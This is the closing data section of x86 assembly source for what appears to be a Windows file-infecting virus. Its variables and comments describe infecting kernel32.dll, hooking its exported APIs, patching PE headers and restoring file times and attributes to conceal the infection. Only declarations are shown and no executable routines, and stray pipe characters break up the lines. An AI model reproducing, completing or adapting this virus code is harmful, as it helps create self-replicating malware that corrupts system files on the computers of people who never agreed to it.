SetAttribAPI dd 0
|
|||
|
CreateFileAPI dd 0
|
|||
|
SetFilePtrAPI dd 0
|
|||
|
ReadFileAPI dd 0
|
|||
|
WriteFileAPI dd 0
|
|||
|
CloseFileAPI dd 0
|
|||
|
GetSysDirAPI dd 0
|
|||
|
CopyFileAPI dd 0
|
|||
|
GetFileTimeAPI dd 0
|
|||
|
SetFileTimeAPI dd 0
|
|||
|
ExitProcessAPI dd 0
|
|||
|
GetAttribAPI dd 0
|
|||
|
FileOff dd 0
|
|||
|
APIStructEnd:
|
|||
|
|
|||
|
; data below is not written to disk, but is allocated by object
|
|||
|
vend:
|
|||
|
|
|||
|
handle dd 0 ; file handle
|
|||
|
infkern db 0 ; kernel infection flag
|
|||
|
ptrpeheader dd 0 ; offset of PE header
|
|||
|
ObjTbloff dd 0 ; offset of object table
|
|||
|
objtblVA dd 0 ; VA of object table
|
|||
|
bytesread dd 0 ; return from fread/fwrite
|
|||
|
|
|||
|
nameptrtbl dd 0
|
|||
|
adrtbl dd 0
|
|||
|
ourAPIptr dd 0
|
|||
|
curAPIptr dd 0
|
|||
|
ordinaltbl dd 0
|
|||
|
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
|
|||
|
originalRVA dd 0 ; orginal RVA of our hooked API
|
|||
|
chkRVA dd 0
|
|||
|
originalpsize dd 0
|
|||
|
hookRVA dd 0
|
|||
|
virusRVA dd 0
|
|||
|
hdrread dd 0
|
|||
|
lastobjimageoff dd 0
|
|||
|
objtext dd 0
|
|||
|
creation dd 0,0 ; our file time structures
|
|||
|
lastaccess dd 0,0
|
|||
|
lastwrite dd 0,0
|
|||
|
|
|||
|
oldattrib dd 0 ; stored file attribs
|
|||
|
fnameptr dd 0 ; ptr to file name we're infecting
|
|||
|
fname db 64 dup (0) ; storage for source kernel32.dll
|
|||
|
copyfname db 64 dup (0) ; storage for dest. kernel32.dll
|
|||
|
|
|||
|
peheader: ; PE header format
|
|||
|
signature dd 0
|
|||
|
cputype dw 0
|
|||
|
numObj dw 0
|
|||
|
dd 0,0,0
|
|||
|
NtHeaderSize dw 0
|
|||
|
Flags dw 0
|
|||
|
dd 0,0,0,0
|
|||
|
entrypointRVA dd 0
|
|||
|
dd 0,0
|
|||
|
imagebase dd 0
|
|||
|
objalign dd 0
|
|||
|
filealign dd 0
|
|||
|
dd 0,0,0,0
|
|||
|
imagesize dd 0
|
|||
|
headersize dd 0
|
|||
|
|
|||
|
db MAX_HDR*2 dup (0)
|
|||
|
buffer_end:
|
|||
|
ends
|
|||
|
end vstart
|
|||
|
|
|||
|
|